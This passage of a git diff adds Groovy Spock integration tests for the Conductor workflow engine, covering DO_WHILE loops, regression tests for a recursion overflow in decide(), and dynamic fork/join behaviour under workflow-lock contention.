Task.Status.IN_PROGRESS + } + + when: "Polling and completing second task" + def joinId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("join__1").taskId + Tuple polledAndCompletedTask1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1) + verifyTaskIteration(polledAndCompletedTask1[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_0' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'FORK' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_1' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.SCHEDULED + tasks[6].taskType == 'JOIN' + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "Polling and completing third task" + Tuple polledAndCompletedTask2 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'integration.test.worker') + + and: "JOIN task is executed" + asyncSystemTaskExecutor.execute(joinTask, joinId) + + then: "Verify that the task was polled and acknowledged and workflow is in completed state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask2) + verifyTaskIteration(polledAndCompletedTask2[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 7 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_0' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_0' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'FORK' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_1' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'JOIN' + tasks[6].status == Task.Status.COMPLETED + } + + cleanup: "Reset the task definition" + metadataService.updateTaskDef(persistedTaskDefinition) + } + + def "Test workflow with a iteration Do While task as subtask of a forkjoin task"() { + given: "Number of iterations of the loop is set to 1" + def workflowInput = new HashMap() + workflowInput['loop'] = 1 + + when: "A do_while workflow is started" + def workflowInstanceId = startWorkflow("Do_While_SubTask", 1, "looptest", workflowInput, null) + + then: "Verify that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'DO_WHILE' + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == 'JOIN' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[4].taskType == 'integration_task_0' + tasks[4].status == Task.Status.SCHEDULED + } + + when: "Polling and completing first task in DO While" + def joinId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("join").taskId + Tuple polledAndCompletedTask0 = workflowTestUtil.pollAndCompleteTask('integration_task_0', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask0) + verifyTaskIteration(polledAndCompletedTask0[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'DO_WHILE' + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == 'JOIN' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[4].taskType == 'integration_task_0' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_task_1' + tasks[5].status == Task.Status.SCHEDULED + } + + when: "Polling and completing second task in DO While" + Tuple polledAndCompletedTask1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1) + verifyTaskIteration(polledAndCompletedTask1[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'DO_WHILE' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == 'JOIN' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[4].taskType == 'integration_task_0' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_task_1' + tasks[5].status == Task.Status.COMPLETED + } + + when: "Polling and completing third task" + Tuple polledAndCompletedTask2 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'integration.test.worker') + + and: "the workflow is evaluated" + sweep(workflowInstanceId) + + and: "JOIN task is executed" + asyncSystemTaskExecutor.execute(joinTask, joinId) + + then: "Verify that the task was polled and acknowledged and workflow is in completed state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask2) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 6 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'DO_WHILE' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'JOIN' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_0' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_task_1' + tasks[5].status == Task.Status.COMPLETED + } + } + + def "Test workflow with Do While task contains loop over task that use iteration in script expression"() { + given: "Number of iterations of the loop is set to 2" + def workflowInput = new HashMap() + workflowInput['loop'] = 2 + + when: "A do_while workflow is started" + def workflowInstanceId = startWorkflow("Do_While_Workflow_Iteration_Fix", 1, "looptest", workflowInput, null) + + then: "Verify that the workflow has competed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'LAMBDA' + tasks[1].status == Task.Status.COMPLETED + tasks[1].outputData.get("result") == 0 + tasks[2].taskType == 'LAMBDA' + tasks[2].status == Task.Status.COMPLETED + tasks[2].outputData.get("result") == 1 + } + } + + def "Test workflow with Do While task contains set variable task"() { + given: "The loop condition is set to use set variable" + def workflowInput = new HashMap() + workflowInput['value'] = 2 + + when: "A do_while workflow is started" + def workflowInstanceId = startWorkflow("do_while_Set_variable_fix", 1, "looptest", workflowInput, null) + + then: "Verify that the workflow has competed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'SET_VARIABLE' + tasks[1].status == Task.Status.COMPLETED + tasks[1].inputData.get("value") == "0" + } + } + + def "Test workflow with Do While task contains decision task"() { + given: "The loop condition is set to use set variable" + def workflowInput = new HashMap() + def array = new ArrayList() + array.add(1); + array.add(2); + workflowInput['list'] = array + + when: "A do_while workflow is started" + def workflowInstanceId = startWorkflow("DO_While_with_Decision_task", 1, "looptest", workflowInput, null) + + then: "Verify that the loop over task is waiting for the wait task to get completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'INLINE' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'SWITCH' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'WAIT' + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "The wait task is completed" + def waitTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).tasks[3] + waitTask.status = Task.Status.COMPLETED + workflowExecutor.updateTask(new TaskResult(waitTask)) + + then: "Verify that the next iteration is scheduled and workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 8 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[0].iteration == 2 + tasks[1].taskType == 'INLINE' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'SWITCH' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'WAIT' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'INLINE' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'INLINE' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'SWITCH' + tasks[6].status == Task.Status.COMPLETED + tasks[7].taskType == 'WAIT' + tasks[7].status == Task.Status.IN_PROGRESS + } + + when: "The wait task is completed" + waitTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).tasks[7] + waitTask.status = Task.Status.COMPLETED + workflowExecutor.updateTask(new TaskResult(waitTask)) + + then: "Verify that the workflow is completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 9 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.COMPLETED + tasks[0].iteration == 2 + tasks[1].taskType == 'INLINE' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'SWITCH' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'WAIT' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'INLINE' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'INLINE' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'SWITCH' + tasks[6].status == Task.Status.COMPLETED + tasks[7].taskType == 'WAIT' + tasks[7].status == Task.Status.COMPLETED + tasks[8].taskType == 'INLINE' + tasks[8].status == Task.Status.COMPLETED + } + } + + + /** + * Regression test for GitHub issue #799 / PR #822 — overflow only. + * + * Before the fix, WorkflowExecutorOps.decide() called itself recursively each time a + * synchronous system task (e.g. LAMBDA inside a DO_WHILE) changed workflow state. + * At high iteration counts (~400+) this produced a StackOverflowError. + * + * The fix replaces the recursive call with an iterative loop. This test verifies that + * a DO_WHILE with 500 synchronous LAMBDA iterations completes without error. + */ + def "Test DO_WHILE with 500 LAMBDA iterations completes without StackOverflowError"() { + given: "A DO_WHILE workflow set to run 500 LAMBDA iterations" + def workflowInput = new HashMap() + workflowInput['loop'] = 500 + + when: "The workflow is started" + def workflowInstanceId = startWorkflow("do_while_high_iteration_test", 1, "overflow-regression", workflowInput, null) + + then: "The workflow completes successfully with all 500 LAMBDA tasks plus the DO_WHILE task" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 501 // 1 DO_WHILE + 500 LAMBDA + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.COMPLETED + tasks[0].iteration == 500 + tasks[1].taskType == 'LAMBDA' + tasks[1].status == Task.Status.COMPLETED + tasks[1].iteration == 1 + tasks[500].taskType == 'LAMBDA' + tasks[500].status == Task.Status.COMPLETED + tasks[500].iteration == 500 + } + } + + /** + * Regression test for GitHub issue #799 / PR #822 — overflow AND wrong loop count. + * + * The Do_While_Workflow_Iteration_Fix workflow uses ${loopTask['iteration']} in the LAMBDA + * script to compute a 0-based index (iteration - 1). At high iteration counts the old + * recursive decide() would either overflow OR produce a wrong iteration counter because the + * recursive call re-entered the loop mid-execution. + * + * This test verifies both that the workflow completes and that every LAMBDA task reports the + * correct iteration-based output value. + */ + def "Test DO_WHILE iteration counter is correct at 500 iterations (issue #799)"() { + given: "A DO_WHILE workflow that reads the loop iteration counter in each LAMBDA task" + def workflowInput = new HashMap() + workflowInput['loop'] = 500 + + when: "The workflow is started" + def workflowInstanceId = startWorkflow("Do_While_Workflow_Iteration_Fix", 1, "iteration-count-regression", workflowInput, null) + + then: "The workflow completes and the last LAMBDA task reports the correct (0-based) index" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 501 // 1 DO_WHILE + 500 LAMBDA (form_uri) + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.COMPLETED + tasks[0].iteration == 500 + // First iteration: loopTask.iteration == 1, so result == 0 + tasks[1].taskType == 'LAMBDA' + tasks[1].status == Task.Status.COMPLETED + tasks[1].outputData.get("result") == 0 + // Last iteration: loopTask.iteration == 500, so result == 499 + tasks[500].taskType == 'LAMBDA' + tasks[500].status == Task.Status.COMPLETED + tasks[500].outputData.get("result") == 499 + } + } + + void verifyTaskIteration(Task task, int iteration) { + assert task.getReferenceTaskName().endsWith(TaskUtils.getLoopOverTaskRefNameSuffix(task.getIteration())) + assert task.iteration == iteration + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/DynamicForkJoinLockContentionSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/DynamicForkJoinLockContentionSpec.groovy new file mode 100644 index 0000000..97f6289 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/DynamicForkJoinLockContentionSpec.groovy @@ -0,0 +1,172 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import java.util.concurrent.CountDownLatch +import java.util.concurrent.TimeUnit + +import org.springframework.beans.factory.annotation.Autowired +import org.springframework.test.context.TestPropertySource + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.Join +import com.netflix.conductor.service.ExecutionLockService +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared +import spock.util.concurrent.PollingConditions + +/** + * End-to-end reproduction of the multi-minute pause seen in dynamic FORK/JOIN workflows under + * workflow-lock contention (reported on Conductor 3.30.2 with Redis queue + distributed locks). + * + * Mechanism (all real production paths; only the lock implementation differs): + * 1. A JOIN completing runs through {@link com.netflix.conductor.core.execution.AsyncSystemTaskExecutor}, + * which on completion calls {@code workflowExecutor.decide(workflowId)} to schedule the next task. + * 2. {@code decide(workflowId)} must acquire the workflow lock. On a lock miss it returns null; the + * completion-event callers ignore that null, so the next task is never scheduled and the workflow + * parks on its decider-queue entry — which a polled task postpones out to responseTimeoutSeconds + * (e.g. 600s), i.e. the multi-minute pause. + * 3. The fix: {@code decide(String)} re-queues the workflow to the decider queue with a short + * (lockTimeToTry-scale) backoff on a lock miss, so the sweeper re-evaluates it within seconds + * once the lock frees, instead of waiting out responseTimeoutSeconds. + * + * We create real lock contention by holding the workflow lock from a separate thread (LocalOnlyLock + * is a per-id reentrant lock, so contention must come from another thread). The harness runs the real + * background sweeper (sweeperThreadCount=1) against the real Redis-backed decider queue, so recovery + * here is driven by production machinery, not a manual sweep. This test does NOT force recovery — it + * asserts the workflow recovers on its own within seconds of the lock releasing, which holds only when + * {@code decide()} re-queues on the lock miss. + */ +@TestPropertySource(properties = [ + "conductor.app.workflow-execution-lock-enabled=true", + "conductor.app.lockLeaseTime=60000ms", + "conductor.app.lockTimeToTry=1000ms" +]) +class DynamicForkJoinLockContentionSpec extends AbstractSpecification { + + @Autowired + Join joinTask + + @Autowired + ExecutionLockService executionLockService + + @Shared + def DYNAMIC_FORK_JOIN_WF = "DynamicFanInOutTest" + + def setup() { + workflowTestUtil.registerWorkflows('dynamic_fork_join_integration_test.json', + 'simple_workflow_3_integration_test.json') + } + + def "a JOIN completing under a contended workflow lock recovers within seconds instead of parking"() { + given: "a dynamic fork/join workflow driven to the point where the JOIN is ready to complete" + def workflowInstanceId = startWorkflow(DYNAMIC_FORK_JOIN_WF, 1, 'dynamic_fork_join_workflow', [:], null) + + WorkflowTask workflowTask2 = new WorkflowTask(name: 'integration_task_2', taskReferenceName: 'xdt1') + WorkflowTask workflowTask3 = new WorkflowTask(name: 'integration_task_3', taskReferenceName: 'xdt2') + def dynamicTasksInput = ['xdt1': ['k1': 'v1'], 'xdt2': ['k2': 'v2']] + + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.worker', + ['dynamicTasks': [workflowTask2, workflowTask3], 'dynamicTasksInput': dynamicTasksInput]) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.worker', ['ok1': 'ov1']) + workflowTestUtil.pollAndCompleteTask('integration_task_3', 'task3.worker', ['ok1': 'ov1']) + sweep(workflowInstanceId) + + def joinTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .getTaskByRefName("dynamicfanouttask_join").taskId + + when: "another actor holds the workflow lock (e.g. an in-flight decide / unreleased lease)" + def lockAcquired = new CountDownLatch(1) + def releaseLock = new CountDownLatch(1) + def lockReleased = new CountDownLatch(1) + // LocalOnlyLock is a per-id reentrant lock: acquire AND release on the same foreign thread so + // it actually contends with decide()/sweep() running on other threads. + def holder = new Thread({ + executionLockService.acquireLock(workflowInstanceId) + lockAcquired.countDown() + releaseLock.await() + executionLockService.releaseLock(workflowInstanceId) + lockReleased.countDown() + }, "lock-holder") + holder.daemon = true + holder.start() + assert lockAcquired.await(5, TimeUnit.SECONDS) + + and: "the JOIN is executed while the lock is held" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + then: "the JOIN itself completes (execute() needs no workflow lock) ..." + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + getTaskByRefName("dynamicfanouttask_join").status == Task.Status.COMPLETED + // ... but the post-completion decide() could not acquire the lock, so the next task + // (integration_task_4) is NOT scheduled while the lock is held: the workflow is stalled. + tasks.every { it.taskType != 'integration_task_4' } + status == Workflow.WorkflowStatus.RUNNING + } + + when: "the lock is released" + releaseLock.countDown() + assert lockReleased.await(5, TimeUnit.SECONDS) + + then: "the workflow recovers on its own within seconds — no manual sweep" + // decide() re-queued the workflow on the lock miss, so the background sweeper re-evaluates it + // promptly once the lock is free and schedules integration_task_4. WITHOUT the decide() fix the + // decider entry sits at responseTimeoutSeconds (>= 120s here), so this times out. + new PollingConditions(timeout: 20, initialDelay: 0.2, delay: 0.2).eventually { + def next = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .tasks.find { it.taskType == 'integration_task_4' } + assert next != null + assert next.status == Task.Status.SCHEDULED + } + + and: "the workflow can run to completion once unblocked" + workflowTestUtil.pollAndCompleteTask('integration_task_4', 'task4.worker') + new PollingConditions(timeout: 10).eventually { + assert workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .status == Workflow.WorkflowStatus.COMPLETED + } + } + + def "control: with no lock contention the same JOIN schedules the next task immediately"() { + given: "the same dynamic fork/join workflow driven to the JOIN-ready point" + def workflowInstanceId = startWorkflow(DYNAMIC_FORK_JOIN_WF, 1, 'dynamic_fork_join_workflow', [:], null) + + WorkflowTask workflowTask2 = new WorkflowTask(name: 'integration_task_2', taskReferenceName: 'xdt1') + WorkflowTask workflowTask3 = new WorkflowTask(name: 'integration_task_3', taskReferenceName: 'xdt2') + def dynamicTasksInput = ['xdt1': ['k1': 'v1'], 'xdt2': ['k2': 'v2']] + + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.worker', + ['dynamicTasks': [workflowTask2, workflowTask3], 'dynamicTasksInput': dynamicTasksInput]) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.worker', ['ok1': 'ov1']) + workflowTestUtil.pollAndCompleteTask('integration_task_3', 'task3.worker', ['ok1': 'ov1']) + sweep(workflowInstanceId) + + def joinTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .getTaskByRefName("dynamicfanouttask_join").taskId + + when: "the JOIN is executed with the lock free" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + then: "the JOIN completes AND the next task is scheduled in the same decide - no stall" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + getTaskByRefName("dynamicfanouttask_join").status == Task.Status.COMPLETED + def next = tasks.find { it.taskType == 'integration_task_4' } + next != null + next.status == Task.Status.SCHEDULED + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/DynamicForkJoinSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/DynamicForkJoinSpec.groovy new file mode 100644 index 0000000..f3d49e0 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/DynamicForkJoinSpec.groovy @@ -0,0 +1,878 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.tasks.TaskType +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.StartWorkflowInput +import com.netflix.conductor.core.execution.tasks.Join +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +class DynamicForkJoinSpec extends AbstractSpecification { + + @Autowired + Join joinTask + + @Autowired + SubWorkflow subWorkflowTask + + @Shared + def DYNAMIC_FORK_JOIN_WF = "DynamicFanInOutTest" + + def setup() { + workflowTestUtil.registerWorkflows('dynamic_fork_join_integration_test.json', + 'simple_workflow_3_integration_test.json') + } + + def "Test dynamic fork join success flow"() { + when: " a dynamic fork join workflow is started" + def workflowInstanceId = startWorkflow(DYNAMIC_FORK_JOIN_WF, 1, + 'dynamic_fork_join_workflow', [:], + null) + + then: "verify that the workflow has been successfully started and the first task is in scheduled state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: " the first task is 'integration_task_1' output has a list of dynamic tasks" + WorkflowTask workflowTask2 = new WorkflowTask() + workflowTask2.name = 'integration_task_2' + workflowTask2.taskReferenceName = 'xdt1' + + WorkflowTask workflowTask3 = new WorkflowTask() + workflowTask3.name = 'integration_task_3' + workflowTask3.taskReferenceName = 'xdt2' + + def dynamicTasksInput = ['xdt1': ['k1': 'v1'], 'xdt2': ['k2': 'v2']] + + and: "The 'integration_task_1' is polled and completed" + def pollAndCompleteTask1Try = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.worker', + ['dynamicTasks': [workflowTask2, workflowTask3], 'dynamicTasksInput': dynamicTasksInput]) + + then: "verify that the task was completed" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try) + + and: "verify that workflow has progressed further ahead and new dynamic tasks have been scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == 'integration_task_3' + tasks[3].status == Task.Status.SCHEDULED + tasks[4].taskType == 'JOIN' + tasks[4].status == Task.Status.IN_PROGRESS + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + } + + when: "Poll and complete 'integration_task_2' and 'integration_task_3'" + def joinTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("dynamicfanouttask_join").taskId + def pollAndCompleteTask2Try = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.worker', + ['ok1': 'ov1']) + def pollAndCompleteTask3Try = workflowTestUtil.pollAndCompleteTask('integration_task_3', 'task3.worker', + ['ok1': 'ov1']) + + and: "workflow is evaluated by the reconciler" + sweep(workflowInstanceId) + + then: "verify that the tasks were polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask2Try, ['k1': 'v1']) + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask3Try, ['k2': 'v2']) + + when: "JOIN task is executed" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + then: "verify that the workflow has progressed and the 'integration_task_2' and 'integration_task_3' are complete" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_3' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'JOIN' + tasks[4].inputData['joinOn'] == ['xdt1', 'xdt2'] + tasks[4].status == Task.Status.COMPLETED + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + tasks[4].outputData['xdt1']['ok1'] == 'ov1' + tasks[4].outputData['xdt2']['ok1'] == 'ov1' + tasks[5].taskType == 'integration_task_4' + tasks[5].status == Task.Status.SCHEDULED + } + + when: "Poll and complete 'integration_task_4'" + def pollAndCompleteTask4Try = workflowTestUtil.pollAndCompleteTask('integration_task_4', 'task4.worker') + + then: "verify that the tasks were polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask4Try) + + and: "verify that the workflow is complete" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 6 + tasks[5].taskType == 'integration_task_4' + tasks[5].status == Task.Status.COMPLETED + } + } + + + def "Test dynamic fork join failure of dynamic forked task flow"() { + setup: "Make sure that the integration_task_2 does not have any retry count" + def persistedTask2Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_2').get() + def modifiedTask2Definition = new TaskDef(persistedTask2Definition.name, + persistedTask2Definition.description, persistedTask2Definition.ownerEmail, 0, + persistedTask2Definition.timeoutSeconds, persistedTask2Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTask2Definition) + + when: " a dynamic fork join workflow is started" + def workflowInstanceId = startWorkflow(DYNAMIC_FORK_JOIN_WF, 1, + 'dynamic_fork_join_workflow', [:], + null) + + then: "verify that the workflow has been successfully started and the first task is in scheduled state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: " the first task is 'integration_task_1' output has a list of dynamic tasks" + WorkflowTask workflowTask2 = new WorkflowTask() + workflowTask2.name = 'integration_task_2' + workflowTask2.taskReferenceName = 'xdt1' + + WorkflowTask workflowTask3 = new WorkflowTask() + workflowTask3.name = 'integration_task_3' + workflowTask3.taskReferenceName = 'xdt2' + + def dynamicTasksInput = ['xdt1': ['k1': 'v1'], 'xdt2': ['k2': 'v2']] + + and: "The 'integration_task_1' is polled and completed" + def pollAndCompleteTask1Try = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.worker', + ['dynamicTasks': [workflowTask2, workflowTask3], 'dynamicTasksInput': dynamicTasksInput]) + + then: "verify that the task was completed" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try) + + and: "verify that workflow has progressed further ahead and new dynamic tasks have been scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == 'integration_task_3' + tasks[3].status == Task.Status.SCHEDULED + tasks[4].taskType == 'JOIN' + tasks[4].status == Task.Status.IN_PROGRESS + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + } + + when: "Poll and fail 'integration_task_2'" + def pollAndCompleteTask2Try = workflowTestUtil.pollAndFailTask('integration_task_2', 'task2.worker', 'it is a failure..') + + and: "workflow is evaluated by the reconciler" + sweep(workflowInstanceId) + + 